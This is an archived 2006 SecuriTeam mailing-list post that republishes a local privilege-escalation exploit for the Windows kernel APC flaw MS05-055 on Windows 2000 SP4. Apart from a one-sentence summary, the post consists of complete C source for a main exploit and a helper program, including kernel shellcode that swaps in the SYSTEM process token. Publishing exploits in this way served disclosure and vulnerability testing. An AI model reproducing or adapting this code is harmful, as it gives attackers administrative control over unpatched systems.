

[EXPL] Windows Kernel APC Privilege Escalation (MS05-055, Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-01/msg00078.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 19 Jan 2006 18:09:59 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Windows Kernel APC Privilege Escalation (MS05-055, Exploit)

SUMMARY

A privilege elevation vulnerability exists in the way that asynchronous procedure calls are processed within the kernel, the following exploit code can be used to determine whether you are vulnerable to the vulnerability described in MS05-055.

DETAILS

/*

MS05-055 Windows Kernel APC Data-Free Local Privilege Escalation
Vulnerability Exploit
Created by SoBelt
12.25.2005

Main file of exploit

Tested on:

Windows 2000 PRO SP4 Chinese
Windows 2000 PRO SP4 Rollup 1 Chinese

[EXPL] Windows Kernel APC Privilege Escalation (MS05-055, Exploit)

Windows 2000 PRO SP4 English
Windows 2000 PRO SP4 Rollup 1 English

Usage:ms05-055.exe helper.exe
*/

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
```

```
#define NTSTATUS ULONG
#define ProcessBasicInformation 0
```

```
typedef VOID (NTAPI *PKNORMAL_ROUTINE)(PVOID ApcContext, PVOID Argument1,
PVOID Argument2);
```

```
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
```

```
typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PVOID PebBaseAddress;
ULONG AffinityMask;
ULONG BasePriority;
ULONG UniqueProcessId;
ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;
```

```
typedef struct _EPROCESS_QUOTA_BLOCK {
ULONG QuotaLock;
ULONG ReferenceCount;
ULONG QuotaPeakPoolUsage[2];
ULONG QuotaPoolUsage[2];
ULONG QuotaPoolLimit[2];
ULONG PeakPagefileUsage;
ULONG PagefileUsage;
ULONG PagefileLimit;
} EPROCESS_QUOTA_BLOCK, *PEPROCESS_QUOTA_BLOCK;
```

```
typedef struct _OBJECT_TYPE_INITIALIZER {
USHORT Length;
BOOLEAN UseDefaultObject;
BOOLEAN Reserved;
ULONG InvalidAttributes;
UCHAR GenericMapping[0x10];
ULONG ValidAccessMask;
```

[EXPL] Windows Kernel APC Privilege Escalation (MS05-055, Exploit)

```
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
BOOLEAN MaintainTypeList;
USHORT PoolType;
ULONG DefaultPagedPoolCharge;
ULONG DefaultNonPagedPoolCharge;
PVOID DumpProcedure;
PVOID OpenProcedure;
PVOID CloseProcedure;
PVOID DeleteProcedure;
PVOID ParseProcedure;
PVOID SecurityProcedure;
PVOID QueryNameProcedure;
PVOID OkayToCloseProcedure;
} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;
```

```
typedef struct _OBJECT_TYPE {
    UCHAR Mutex[0x38];
    LIST_ENTRY TypeList;
    UNICODE_STRING Name;
    PVOID DefaultObject;
    ULONG Index;
    ULONG TotalNumberOfObjects;
    ULONG TotalNumberOfHandles;
    ULONG HighWaterNumberOfObjects;
    ULONG HighWaterNumberOfHandles;
    OBJECT_TYPE_INITIALIZER TypeInfo;
} OBJECT_TYPE, *POBJECT_TYPE;
```

```
typedef struct _OBJECT_HEADER {
    ULONG PointerCount;
    ULONG HandleCount;
    POBJECT_TYPE Type;
    UCHAR NameInfoOffset;
    UCHAR HandleInfoOffset;
    UCHAR QuotaInfoOffset;
    UCHAR Flags;
    PVOID QuotaBlockCharged;
    PVOID SecurityDescriptor;
} OBJECT_HEADER, *POBJECT_HEADER;
```

```
__declspec(naked)
NTSTATUS
NTAPI
ZwQueueApcThread(
    HANDLE hThread,
    PKNORMAL_ROUTINE ApcRoutine,
    PVOID ApcContext,
    PVOID Argument1,
    PVOID Argument2)
{
```

[EXPL] Windows Kernel APC Privilege Escalation (MS05-055, Exploit)

```
__asm  
{  
mov eax, 0x9e  
lea edx, [esp+4]  
int 0x2e  
ret 0x14  
}  
}
```

```
__declspec(naked)  
NTSTATUS  
ZwAlertThread(  
HANDLE hThread)  
{  
__asm  
{  
mov eax, 0x0c  
lea edx, [esp+4]  
int 0x2e  
ret 0x4  
}  
}
```

```
__declspec(naked)  
NTSTATUS  
NTAPI  
ZwQueryInformationProcess(  
HANDLE ProcessHandle,  
ULONG InformationClass,  
PVOID ProcessInformation,  
ULONG ProcessInformationLength,  
PULONG ReturnLength)  
{  
__asm  
{  
mov eax, 0x86  
lea edx, [esp+4]  
int 0x2e  
ret 0x14  
}  
}
```

```
HANDLE hTargetThread;  
ULONG ParentProcessId;
```

```
VOID NTAPI APCProc(PVOID pApcContext, PVOID Argument1, PVOID Argument2)  
{  
printf("%s\n", pApcContext);  
  
return;  
}
```

```

VOID ErrorQuit(char *msg)
{
printf(msg);
ExitProcess(0);
}

ULONG WINAPI TestThread(PVOID pParam)
{
CONTEXT Context;
ULONG i = 0;
HANDLE hThread, hEvent = (HANDLE)pParam;
int PoolIndex, PoolType;

for(;;)
{
if((hThread = CreateThread(NULL, 0, TestThread, pParam,
CREATE_SUSPENDED, NULL)) == NULL)
ErrorQuit("Create thread failed.\n");

Context.ContextFlags = CONTEXT_INTEGER;
if(!GetThreadContext(GetCurrentThread(), &Context))
ErrorQuit("Child thread get context failed.\n");

printf("Child ESP:%x\n", Context.Esp);
PoolType = (Context.Esp >> 16) & 0xff;
PoolIndex = ((Context.Esp >> 8) & 0xff) - 1;
printf("PoolIndex:%2x PoolType:%2x\n", PoolIndex, PoolType);
if((PoolIndex & 0x80) && (PoolType & 0x8) && (PoolType & 0x3) &&
!(PoolType & 0x20) &&
!(PoolType & 0x40))
{
printf("Perfect ESP:%x\n", Context.Esp);
break;
}

Sleep(500);
ResumeThread(hThread);
CloseHandle(hThread);
SuspendThread(GetCurrentThread());
}

DuplicateHandle(GetCurrentProcess(), GetCurrentThread(),
GetCurrentProcess(),
&hTargetThread, 0, FALSE, DUPLICATE_SAME_ACCESS);
SetEvent(hEvent);
SuspendThread(hTargetThread);
ZwQueueApcThread(hTargetThread, APCProc, NULL, NULL, NULL);
printf("In child thread. Now terminating to trigger the bug.\n");
ExitThread(0);

```

[EXPL] Windows Kernel APC Privilege Escalation (MS05–055, Exploit)

```
return 1;
}

__declspec(naked) ExploitFunc()
{
    __asm
    {
        // int 0x3
        mov esi, 0xffdff124
        mov esi, dword ptr [esi]
        mov eax, dword ptr [esi+0x44]

        mov ecx, 0x8
        call FindProcess
        mov edx, eax

        mov ecx, ParentProcessId
        call FindProcess

        mov ecx, dword ptr [edx+0x12c]
        mov dword ptr [eax+0x12c], ecx
        xor ebx, ebx
        xor edi, edi
        mov dword ptr [ebp+0xf0], edi
        add esp, 0x74
        add ebp, 0x10c
        ret

    FindProcess:
        mov eax, dword ptr [eax+0xa0]
        sub eax, 0xa0
        cmp dword ptr [eax+0x9c], ecx
        jne FindProcess
        ret
    }
}

int main(int argc, char *argv[])
{
    HANDLE hThread, hEvent, hProcess;
    PEPROCESS_QUOTA_BLOCK pEprocessQuotaBlock;
    POBJECT_HEADER pObjectHeader;
    POBJECT_TYPE pObjectType;
    ULONG i = 0, ProcessId;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    PROCESS_BASIC_INFORMATION pbi;
    char Buf[64], *pParam;
    PULONG pKernelData;

    printf("\n MS05–055 Windows Kernel APC Data–Free Local Privilege
```

[EXPL] Windows Kernel APC Privilege Escalation (MS05-055, Exploit)

```
Escalation Vulnerability Exploit \n\n");
printf("\t Create by SoBeIt. \n\n");
if(argc != 2)
{
printf(" Usage:ms05-055.exe helper.exe. \n\n");
return 1;
}

ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

if((pKernelData = VirtualAlloc((PVOID)0x1000000, 0x1000,
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)
ErrorQuit("Allocate pKernelData failed.\n");

if((pEprocessQuotaBlock = VirtualAlloc(NULL,
sizeof(EPROCESS_QUOTA_BLOCK),
MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)) == NULL)
ErrorQuit("Allocate pEprocessQuotaBlock failed.\n");

if((pObjectHeader = VirtualAlloc(NULL, sizeof(OBJECT_HEADER),
MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)) == NULL)
ErrorQuit("Allocate pObjectHeader failed\n");

if((pObjectType = VirtualAlloc(NULL, sizeof(OBJECT_TYPE),
MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)) == NULL)
ErrorQuit("Allocate pObjectType failed.\n");

ZeroMemory((PVOID)0x1000000, 0x1000);
ZeroMemory(pEprocessQuotaBlock, sizeof(EPROCESS_QUOTA_BLOCK));
ZeroMemory(pObjectHeader, sizeof(OBJECT_HEADER));
ZeroMemory(pObjectType, sizeof(OBJECT_TYPE));

pKernelData[0xee] = (ULONG)pEprocessQuotaBlock; //0xae = (0x1b8+0x200) /
4
pEprocessQuotaBlock->ReferenceCount = 0x221;
pEprocessQuotaBlock->QuotaPeakPoolUsage[0] = 0x1f4e4;
pEprocessQuotaBlock->QuotaPeakPoolUsage[1] = 0x78134;
pEprocessQuotaBlock->QuotaPoolUsage[0] = 0x1e5e8;
pEprocessQuotaBlock->QuotaPoolUsage[1] = 0x73f64;
pEprocessQuotaBlock->QuotaPoolLimit[0] = 0x20000;
pEprocessQuotaBlock->QuotaPoolLimit[1] = 0x80000;
pEprocessQuotaBlock->PeakPagefileUsage = 0x5e9;
pEprocessQuotaBlock->PagefileUsage = 0x5bb;
pEprocessQuotaBlock->PagefileLimit = 0xffffffff;

pObjectHeader = (POBJECT_HEADER)(0x1000200-0x18);
pObjectHeader->PointerCount = 1;
pObjectHeader->Type = pObjectType;
```

[EXPL] Windows Kernel APC Privilege Escalation (MS05-055, Exploit)

```
pObjectType->TypeInfo.DeleteProcedure = ExploitFunc;

hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
DuplicateHandle(GetCurrentProcess(), GetCurrentProcess(),
GetCurrentProcess(),
&hProcess, 0, FALSE, DUPLICATE_SAME_ACCESS);

if((hThread = CreateThread(NULL, 0, TestThread, (PVOID)hEvent,
CREATE_SUSPENDED, NULL)) == NULL)
ErrorQuit("Create thread failed.\n");

ResumeThread(hThread);
WaitForSingleObject(hEvent, INFINITE);
printf("The sleep has awoken.\n");
ProcessId = GetCurrentProcessId();
printf("Target thread handle:%x, Target process handle:%x, Process
id:%x\n",
hTargetThread, hProcess, ProcessId);
pParam = Buf;
strcpy(Buf, argv[1]);
pParam += sizeof(argv[1]);
pParam = strchr(Buf, '\0');
*pParam++ = ' ';
itoa((int)hTargetThread, pParam, 10);
pParam = strchr(Buf, '\0');
*pParam++ = ' ';
itoa(ProcessId, pParam, 10);
printf("%s\n", Buf);
if(!CreateProcess(NULL, Buf, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi
))
ErrorQuit("Create process failed,\n");

CloseHandle(pi.hThread);
CloseHandle(hEvent);
printf("Now waiting for triggering the bug.\n");
WaitForSingleObject(pi.hProcess, INFINITE);
if(ZwQueryInformationProcess(GetCurrentProcess(),
ProcessBasicInformation,
(PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL))
ErrorQuit("Query parent process failed\n");

ParentProcessId = pbi.InheritedFromUniqueProcessId;
printf("Parent process id:%x\n", ParentProcessId);

CloseHandle(pi.hProcess);
ResumeThread(hTargetThread);
WaitForSingleObject(hTargetThread, INFINITE);
printf("Exploit finished.\n");

return 1;
}
```

```
----- helper.c
-----

/*
MS05-055 Windows Kernel APC Data-Free Local Privilege Escalation
Vulnerability Exploit
Created by SoBelt
12.25.2005

Helper file of exploit

Tested on:

Windows 2000 PRO SP4 Chinese
Windows 2000 PRO SP4 Rollup 1 Chinese
Windows 2000 PRO SP4 English
Windows 2000 PRO SP4 Rollup 1 English

Usage:ms05-055.exe helper.exe
*/

#include <stdio.h>
#include <windows.h>

#define NTSTATUS ULONG

typedef VOID (NTAPI *PKNORMAL_ROUTINE)(PVOID ApcContext, PVOID Argument1,
PVOID Argument2);

__declspec(naked)
NTSTATUS
NTAPI
ZwQueueApcThread(
HANDLE hThread,
PKNORMAL_ROUTINE ApcRoutine,
PVOID ApcContext,
PVOID Argument1,
PVOID Argument2)
{
__asm
{
mov eax, 0x9e
lea edx, [esp+4]
int 0x2e
ret 0x14
}
}
}
```

[EXPL] Windows Kernel APC Privilege Escalation (MS05-055, Exploit)

```
__declspec(naked)
NTSTATUS
ZwAlertThread(
HANDLE hThread)
{
    __asm
    {
        mov eax, 0x0c
        lea edx, [esp+4]
        int 0x2e
        ret 0x4
    }
}

VOID NTAPI ApcProc(PVOID ApcContext, PVOID Argument1, PVOID Argument2)
{
}

int main(int argc, char *argv[])
{
    HANDLE hTargetThread, hTargetProcess, hThread;
    int ProcessId;
    PVOID pApcProc;

    if(argc != 3)
    {
        printf(" Usage:ms05-055.exe helper.exe. \n");
        return 1;
    }

    hTargetThread = (HANDLE)atoi(argv[1]);
    ProcessId = atoi(argv[2]);
    printf("Got thread handle:%x, Got process id:%x\n", hTargetThread,
    ProcessId);
    hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
    printf("Process handle:%x\n", hTargetProcess);
    if(!DuplicateHandle(hTargetProcess, hTargetThread, GetCurrentProcess(),
    &hThread, 0, FALSE, DUPLICATE_SAME_ACCESS))
    printf("Duplicate handle failed.\n");

    if((pApcProc = VirtualAllocEx(hTargetProcess, 0, 1024*4,
    MEM_COMMIT|MEM_RESERVE,
    PAGE_EXECUTE_READWRITE)) == NULL)
    printf("Allocate remote memory failed.\n");

    if(!WriteProcessMemory(hTargetProcess, pApcProc, &ApcProc, 1024*4, 0))
    printf("Write remote memory failed.\n");

    ZwAlertThread(hThread);
    ZwQueueApcThread(hThread, (PKNORMAL_ROUTINE)pApcProc, NULL, NULL, NULL);
    CloseHandle(hTargetProcess);
}
```

[EXPL] Windows Kernel APC Privilege Escalation (MS05-055, Exploit)

```
CloseHandle(hThread);  
printf("Now terminating process.\n");  
ExitProcess(0);  
}
```

ADDITIONAL INFORMATION

The information has been provided by SoBeIt.

Related articles can be found at:

<<http://www.securiteam.com/windowsntfocus/6F00C15EUU.html>> Vulnerability in Windows Kernel Allows Elevation of Privilege (MS05-055) and
<<http://www.securiteam.com/windowsntfocus/6G00D15EUS.html>> Windows Kernel APC Data-Free Local Privilege Escalation (MS05-055)

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- Prev by Date: [***\[EXPL\] Gecko InstallVersion.compareTo Code Execution \(Exploit Metasploit\)***](#)
 - Next by Date: [***\[NT\] WEP Open Authentication Information Disclosure***](#)
 - Previous by thread: [***\[EXPL\] Gecko InstallVersion.compareTo Code Execution \(Exploit Metasploit\)***](#)
 - Next by thread: [***\[NT\] WEP Open Authentication Information Disclosure***](#)
 - Index(es):
 - ◆ [***Date***](#)
 - ◆ [***Thread***](#)